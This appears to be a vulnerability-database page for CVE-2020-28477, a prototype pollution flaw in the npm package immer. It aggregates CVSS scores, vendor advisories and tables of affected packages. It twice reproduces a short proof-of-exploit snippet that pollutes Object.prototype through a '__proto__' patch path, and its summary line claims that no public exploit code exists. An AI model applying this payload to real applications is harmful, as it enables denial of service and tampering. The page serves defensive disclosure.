Every CVE Search/ Get API key

CVE-2020-28477

Prototype Pollution

7.5 HighFix available

This affects all versions of package immer.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

2.34%Up 1.5 points since Apr 14, 2021
90%50%10%1%

What each source reports

CVE List Score used 7.5

Prototype Pollution

This affects all versions of package immer.

Record
CVE-2020-28477
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RL:U/RC:C
Updated
2026-11-02
EUVDEUVD-2021-0500 7.5

This affects all versions of package immer.

Record
EUVD-2021-0500
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RL:U/RC:C
Updated
2026-11-03
GitHub AdvisoriesGHSA-9qmh-276g-x5pj 7.5

Prototype Pollution in immer

Overview

Affected versions of immer are vulnerable to Prototype Pollution.

Proof of exploit

const {applyPatches, enablePatches} = require("immer");
enablePatches();
let obj = {};
console.log("Before : " + obj.polluted);
applyPatches({}, [ { op: 'add', path: [ "__proto__", "polluted" ], value: "yes" } ]);
// applyPatches({}, [ { op: 'replace', path: [ "__proto__", "polluted" ], value: "yes" } ]);
console.log("After : " + obj.polluted);

Remediation

Version 8.0.1 contains a fix for this vulnerability, updating is recommended.

Record
GHSA-9qmh-276g-x5pj
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-471
Updated
2026-11-02
NVD 7.5

This affects all versions of package immer.

Record
CVE-2020-28477
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CVSS 2.0
5.0 MediumAV:N/AC:L/Au:N/C:N/I:N/A:P
Updated
2026-11-02
OSV 7.5

This affects all versions of package immer.

Record
CVE-2020-28477
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVGHSA-9qmh-276g-x5pj 7.5

Prototype Pollution in immer

Overview

Affected versions of immer are vulnerable to Prototype Pollution.

Proof of exploit

const {applyPatches, enablePatches} = require("immer");
enablePatches();
let obj = {};
console.log("Before : " + obj.polluted);
applyPatches({}, [ { op: 'add', path: [ "__proto__", "polluted" ], value: "yes" } ]);
// applyPatches({}, [ { op: 'replace', path: [ "__proto__", "polluted" ], value: "yes" } ]);
console.log("After : " + obj.polluted);

Remediation

Version 8.0.1 contains a fix for this vulnerability, updating is recommended.

Record
GHSA-9qmh-276g-x5pj
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-471
Updated
2026-11-02
OSVRHSA-2021:1169 7.5

Red Hat Security Advisory: RHV Manager (ovirt-engine) 4.4.z [ovirt-4.4.5] security, bug fix, enhancement

Record
RHSA-2021:1169
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVROOT-APP-NPM-CVE-2020-28477 No score

CVE-2020-28477 in immer - Patched by Root

Root has patched CVE-2020-28477 in the immer package for Root:npm. Multiple fixed versions available.

Record
ROOT-APP-NPM-CVE-2020-28477
Updated
2026-11-02
OSVSUSE-SU-2021:0906-1 No score

Security update for SUSE Manager Server 4.1

This update fixes the following issues:

cobbler:

  • Fix string replacement for @@xyz@@
  • Better performing string replacements

grafana-formula:

  • Set supported to false for unsupported systems (bsc#1182001)
  • Add SLES 15 SP3 and openSUSE Leap 15.3 to supported versions

mgr-libmod:

  • Fix 'list_modules' JSON serialization (bsc#1182492)

mgr-osad:

  • Adapt to new SSL implementation of rhnlib (bsc#1181807)

prometheus-exporters-formula:

  • Add Ubuntu support for Prometheus exporters' reverse proxy

prometheus-formula:

  • Set server hostname from pillar data (bsc#1180439)

py26-compat-salt:

  • Do not crash when unexpected cmd output at listing patches (bsc#1181290)

rhnlib:

  • Change SSL implementation to python ssl for better SAN and hostname matching support (bsc#1181807)

smdba:

  • Do not remove the database if there is no backup and deal with manifest

spacewalk-backend:

  • Open repomd files as binary (bsc#1173893)
  • Fix requesting Release file in debian repos (bsc#1182006)
  • Reposync: Fixed Kickstart functionality.
  • Reposync: Fixed URLGrabber error handling.
  • Reposync: Fix modular data handling for cloned channels (bsc#1177508)

spacewalk-client-tools:

  • Adapt to new SSL implementation of rhnlib (bsc#1181807)

spacewalk-config:

  • Increase apache ssl logs to include response code and process time

spacewalk-java:

  • Homogenizes style in filter buttons, facilitating testability
  • Cleanup sessions via SQL query instead of SQL function (bsc#1180224)
  • Rebuild and improve rendering of error pages 404 and 500 pages (bsc#1181228)
  • Fix user creation with pam auth and no password (bsc#1179579)
  • Fix action chains for saltssh minions (bsc#1182200)
  • FIX: Slow response of 'Software > Install' in Ubuntu minions (bsc#1181165)
  • Do not call page decorator in HEAD requests (bsc#1181228)
  • Add 'mgr_origin_server' to Salt pillar data (bsc#1180439)
  • Ensure new files are synced just after writing them (bsc#1175660)
  • Enable openscap auditing for salt systems in SSM (bsc#1157711)
  • Detect debian products (bsc#1181416)
  • Show packages from channels assigned to the targeted system (bsc#1181423)
  • Add an API endpoint to allow/disallow scheduling irrelevant patches (bsc#1180757)
  • Open raw output in new tab for ScriptRunAction (bsc#1180547)
  • Default to preferred items per page in content lifecycle lists (bsc#1180558)
  • Fix modular data handling for cloned channels (bsc#1177508)
  • Fix: login gets an ISE when SSO is enabled (bsc#1181048)

spacewalk-utils:

  • Fix modular data handling for cloned channels (bsc#1177508)

spacewalk-web:

  • Replace CRLF in ssh priv key when bootstrapping (bsc#1182685)
  • Upgrade immer to fix CVE-2020-28477
  • Default to preferred items per page in content lifecycle lists (bsc#1180558)
  • Fix sorting in content lifecycle projects and cluster tables (bsc#1180558)

susemanager:

  • Add SLE 15 SP3 bootstrap repository definitions (bsc#1182008)
  • Python3-dbus-python and dependencies not installed by default on JeOS SLE15 images, add them to the bootstrap repository list of packages for traditional (bsc#1182071)

susemanager-doc-indexes:

  • Updated Command Line Registration with Salt section in the Client Configuration Guide for clarity.
  • Adds openSUSE Leap SP migration to the SP migration section of the Client Configuration Guide
  • Adds note that bootstrap procedure for selecting a parent channel is optional in Client Configuration Guide (bsc#1181635)
  • Adds note about checking for valid UUIDs in fstab when backing up (bsc#1181814)
  • Updated command for running configure proxy script when replacing a proxy
  • Fixed bad SUSE Customer Center URL

susemanager-docs_en:

  • Updated Command Line Registration with Salt section in the Client Configuration Guide for clarity.
  • Adds openSUSE Leap SP migration to the SP migration section of the Client Configuration Guide
  • Adds note that bootstrap procedure for selecting a parent channel is optional in Client Configuration Guide (bsc#1181635)
  • Adds note about…
Record
SUSE-SU-2021:0906-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
immer
npm
7.0.0 up to 8.0.1
8.0.1
ovirt-web-ui
Red Hat:rhev_manager:4.4:el8
From an advisory covering 4 CVEs
before 0:1.6.7-1.el8ev
0:1.6.7-1.el8ev
ovirt-engine
Red Hat:rhev_manager:4.4:el8
From an advisory covering 4 CVEs
before 0:4.4.5.9-0.1.el8ev
0:4.4.5.9-0.1.el8ev
ovirt-engine-backend
Red Hat:rhev_manager:4.4:el8
From an advisory covering 4 CVEs
before 0:4.4.5.9-0.1.el8ev
0:4.4.5.9-0.1.el8ev
ovirt-engine-dbscripts
Red Hat:rhev_manager:4.4:el8
From an advisory covering 4 CVEs
before 0:4.4.5.9-0.1.el8ev
0:4.4.5.9-0.1.el8ev
ovirt-engine-health-check-bundler
Red Hat:rhev_manager:4.4:el8
From an advisory covering 4 CVEs
before 0:4.4.5.9-0.1.el8ev
0:4.4.5.9-0.1.el8ev
ovirt-engine-restapi
Red Hat:rhev_manager:4.4:el8
From an advisory covering 4 CVEs
before 0:4.4.5.9-0.1.el8ev
0:4.4.5.9-0.1.el8ev
ovirt-engine-setup
Red Hat:rhev_manager:4.4:el8
From an advisory covering 4 CVEs
before 0:4.4.5.9-0.1.el8ev
0:4.4.5.9-0.1.el8ev
ovirt-engine-setup-base
Red Hat:rhev_manager:4.4:el8
From an advisory covering 4 CVEs
before 0:4.4.5.9-0.1.el8ev
0:4.4.5.9-0.1.el8ev
ovirt-engine-setup-plugin-cinderlib
Red Hat:rhev_manager:4.4:el8
From an advisory covering 4 CVEs
before 0:4.4.5.9-0.1.el8ev
0:4.4.5.9-0.1.el8ev
Show 44 moreShow less
Affected packages
PackageAffectedFixed
ovirt-engine-setup-plugin-imageio
Red Hat:rhev_manager:4.4:el8
From an advisory covering 4 CVEs
before 0:4.4.5.9-0.1.el8ev
0:4.4.5.9-0.1.el8ev
ovirt-engine-setup-plugin-ovirt-engine
Red Hat:rhev_manager:4.4:el8
From an advisory covering 4 CVEs
before 0:4.4.5.9-0.1.el8ev
0:4.4.5.9-0.1.el8ev
ovirt-engine-setup-plugin-ovirt-engine-common
Red Hat:rhev_manager:4.4:el8
From an advisory covering 4 CVEs
before 0:4.4.5.9-0.1.el8ev
0:4.4.5.9-0.1.el8ev
ovirt-engine-setup-plugin-vmconsole-proxy-helper
Red Hat:rhev_manager:4.4:el8
From an advisory covering 4 CVEs
before 0:4.4.5.9-0.1.el8ev
0:4.4.5.9-0.1.el8ev
ovirt-engine-setup-plugin-websocket-proxy
Red Hat:rhev_manager:4.4:el8
From an advisory covering 4 CVEs
before 0:4.4.5.9-0.1.el8ev
0:4.4.5.9-0.1.el8ev
ovirt-engine-tools
Red Hat:rhev_manager:4.4:el8
From an advisory covering 4 CVEs
before 0:4.4.5.9-0.1.el8ev
0:4.4.5.9-0.1.el8ev
ovirt-engine-tools-backup
Red Hat:rhev_manager:4.4:el8
From an advisory covering 4 CVEs
before 0:4.4.5.9-0.1.el8ev
0:4.4.5.9-0.1.el8ev
ovirt-engine-vmconsole-proxy-helper
Red Hat:rhev_manager:4.4:el8
From an advisory covering 4 CVEs
before 0:4.4.5.9-0.1.el8ev
0:4.4.5.9-0.1.el8ev
ovirt-engine-webadmin-portal
Red Hat:rhev_manager:4.4:el8
From an advisory covering 4 CVEs
before 0:4.4.5.9-0.1.el8ev
0:4.4.5.9-0.1.el8ev
ovirt-engine-websocket-proxy
Red Hat:rhev_manager:4.4:el8
From an advisory covering 4 CVEs
before 0:4.4.5.9-0.1.el8ev
0:4.4.5.9-0.1.el8ev
python3-ovirt-engine-lib
Red Hat:rhev_manager:4.4:el8
From an advisory covering 4 CVEs
before 0:4.4.5.9-0.1.el8ev
0:4.4.5.9-0.1.el8ev
rhvm
Red Hat:rhev_manager:4.4:el8
From an advisory covering 4 CVEs
before 0:4.4.5.9-0.1.el8ev
0:4.4.5.9-0.1.el8ev
immer
Root:npm
before 8.0.1-aikido.1
8.0.1-aikido.18.0.1-aikido.2
@rootio/immer
Root:npm
before 8.0.1-root.io.1
8.0.1-root.io.18.0.1-root.io.2
mgr-osad
SUSE:Manager Proxy Module 4.1
From an advisory covering 4 CVEs
before 4.1.5-2.9.4
4.1.5-2.9.4
rhnlib
SUSE:Manager Proxy Module 4.1
From an advisory covering 4 CVEs
before 4.1.3-4.3.2
4.1.3-4.3.2
spacewalk-backend
SUSE:Manager Proxy Module 4.1
From an advisory covering 4 CVEs
before 4.1.21-4.22.7
4.1.21-4.22.7
spacewalk-client-tools
SUSE:Manager Proxy Module 4.1
From an advisory covering 4 CVEs
before 4.1.9-4.12.4
4.1.9-4.12.4
spacewalk-proxy
SUSE:Manager Proxy Module 4.1
From an advisory covering 4 CVEs
before 4.1.4-3.9.4
4.1.4-3.9.4
spacewalk-proxy-installer
SUSE:Manager Proxy Module 4.1
From an advisory covering 4 CVEs
before 4.1.6-3.3.2
4.1.6-3.3.2
spacewalk-web
SUSE:Manager Proxy Module 4.1
From an advisory covering 4 CVEs
before 4.1.23-3.18.6
4.1.23-3.18.6
cobbler
SUSE:Manager Server Module 4.1
From an advisory covering 4 CVEs
before 3.0.0+git20190806.32c4bae0-5.6.4
3.0.0+git20190806.32c4bae0-5.6.4
grafana-formula
SUSE:Manager Server Module 4.1
From an advisory covering 4 CVEs
before 0.4.0-3.6.2
0.4.0-3.6.2
mgr-libmod
SUSE:Manager Server Module 4.1
From an advisory covering 4 CVEs
before 4.1.7-3.16.2
4.1.7-3.16.2
mgr-osad
SUSE:Manager Server Module 4.1
From an advisory covering 4 CVEs
before 4.1.5-2.9.4
4.1.5-2.9.4
prometheus-exporters-formula
SUSE:Manager Server Module 4.1
From an advisory covering 4 CVEs
before 0.9.0-3.19.2
0.9.0-3.19.2
prometheus-formula
SUSE:Manager Server Module 4.1
From an advisory covering 4 CVEs
before 0.3.1-3.6.2
0.3.1-3.6.2
py26-compat-salt
SUSE:Manager Server Module 4.1
From an advisory covering 4 CVEs
before 2016.11.10-6.11.2
2016.11.10-6.11.2
rhnlib
SUSE:Manager Server Module 4.1
From an advisory covering 4 CVEs
before 4.1.3-4.3.2
4.1.3-4.3.2
smdba
SUSE:Manager Server Module 4.1
From an advisory covering 4 CVEs
before 1.7.8-0.3.6.2
1.7.8-0.3.6.2
spacewalk-backend
SUSE:Manager Server Module 4.1
From an advisory covering 4 CVEs
before 4.1.21-4.22.7
4.1.21-4.22.7
spacewalk-client-tools
SUSE:Manager Server Module 4.1
From an advisory covering 4 CVEs
before 4.1.9-4.12.4
4.1.9-4.12.4
spacewalk-config
SUSE:Manager Server Module 4.1
From an advisory covering 4 CVEs
before 4.1.5-3.3.2
4.1.5-3.3.2
spacewalk-java
SUSE:Manager Server Module 4.1
From an advisory covering 4 CVEs
before 4.1.30-3.31.7
4.1.30-3.31.7
spacewalk-utils
SUSE:Manager Server Module 4.1
From an advisory covering 4 CVEs
before 4.1.14-3.12.2
4.1.14-3.12.2
spacewalk-web
SUSE:Manager Server Module 4.1
From an advisory covering 4 CVEs
before 4.1.23-3.18.6
4.1.23-3.18.6
subscription-matcher
SUSE:Manager Server Module 4.1
From an advisory covering 4 CVEs
before 0.26-3.6.2
0.26-3.6.2
susemanager
SUSE:Manager Server Module 4.1
From an advisory covering 4 CVEs
before 4.1.24-3.20.2
4.1.24-3.20.2
susemanager-doc-indexes
SUSE:Manager Server Module 4.1
From an advisory covering 4 CVEs
before 4.1-11.28.4
4.1-11.28.4
susemanager-docs_en
SUSE:Manager Server Module 4.1
From an advisory covering 4 CVEs
before 4.1-11.28.2
4.1-11.28.2
susemanager-schema
SUSE:Manager Server Module 4.1
From an advisory covering 4 CVEs
before 4.1.19-3.24.4
4.1.19-3.24.4
susemanager-sls
SUSE:Manager Server Module 4.1
From an advisory covering 4 CVEs
before 4.1.21-3.26.2
4.1.21-3.26.2
xpp3
SUSE:Manager Server Module 4.1
From an advisory covering 4 CVEs
before 1.1.4c-11.2.2
1.1.4c-11.2.2
xstream
SUSE:Manager Server Module 4.1
From an advisory covering 4 CVEs
before 1.4.15-3.5.2
1.4.15-3.5.2

History

History
RecordedChangedSources
affected, facts
aliases, publishedEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2020-28477 is a high vulnerability (CVSS 7.5) in Immer Project Immer, published January 19, 2021. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 2.34%, the 83rd percentile. Fixed in immer 8.0.1.

References

Show 87 moreShow less
This page doesn't list everything

Left out here: the rest of 1 source description. The JSON record has them.

MoveEnter Open